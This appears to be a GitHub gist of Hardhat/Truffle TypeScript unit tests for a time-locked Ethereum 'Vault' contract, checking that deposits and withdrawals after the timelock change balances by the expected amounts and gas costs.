vault = await Vault.new(timeLock); | |
}) | |
describe("Sending", async () => { | |
it("Should deposit", async () => { | |
const balanceBefore = BN(await web3.eth.getBalance(owner.address)); | |
const tx = await vault.deposit({from: owner.address, value: 123}); | |
const balanceAfter = BN(await web3.eth.getBalance(owner.address)); | |
// Balance must change | |
expect(balanceBefore).to.greaterThan(balanceAfter); | |
expect(balanceBefore).to.equal( | |
balanceAfter.add(123).add(await calcGasCost(tx)) | |
); | |
}) | |
}) | |
import { ethers } from 'hardhat'; | |
import { BN } from "bn.js"; | |
import { expect } from 'chai'; | |
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; | |
const { time } = require("@openzeppelin/test-helpers"); | |
import { VaultContract, VaultInstance } from '../typechain-types/' | |
const Vault: VaultContract = artifacts.require('Vault') | |
function bn(n: any){ | |
return new BN(n.toString()); | |
} | |
const timeLock = 1000 | |
async function calcGasCost(result: Truffle.TransactionResponse<any>) { | |
let tr = await web3.eth.getTransaction(result.tx); | |
let txCost = bn(result.receipt.gasUsed).mul(bn(tr.gasPrice)); | |
return txCost; | |
}; | |
describe('Vault', async () => { | |
let vault: VaultInstance | |
let owner: SignerWithAddress | |
beforeEach(async () => { | |
[owner] = await ethers.getSigners(); | |
vault = await Vault.new(timeLock); | |
}) | |
describe("Sending", async () => { | |
it("Should deposit", async () => { | |
const balanceBefore = bn(await web3.eth.getBalance(owner.address)); | |
const tx = await vault.deposit({from: owner.address, value: 123}); | |
const balanceAfter = bn(await web3.eth.getBalance(owner.address)); | |
// Balance must change | |
expect(balanceBefore).to.greaterThan(balanceAfter); | |
expect(balanceBefore).to.equal( | |
balanceAfter.add(bn(123)).add(await calcGasCost(tx)) | |
); | |
}) | |
}) | |
describe("Withdraw", async () => { | |
it("Should deposit by simple send and withdraw after enough time", async () => { | |
const balanceBefore = bn(await web3.eth.getBalance(owner.address)) | |
const txHash = await owner.sendTransaction( | |
{to: vault.address, value: 1234} | |
); | |
const tx = await txHash.wait(); | |
const depositCost = tx.effectiveGasPrice.mul(tx.gasUsed); | |
await time.increase(timeLock + 2); | |
const txWithdraw = await vault.withdraw({from: owner.address}); | |
const balanceAfter = bn(await web3.eth.getBalance(owner.address)); | |
// Should have the same amount minus gas costs | |
expect(balanceBefore).to.equal( | |
balanceAfter.add(bn(depositCost)).add(await calcGasCost(txWithdraw)) | |
); | |
}) | |
}) | |
}) | |
}) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment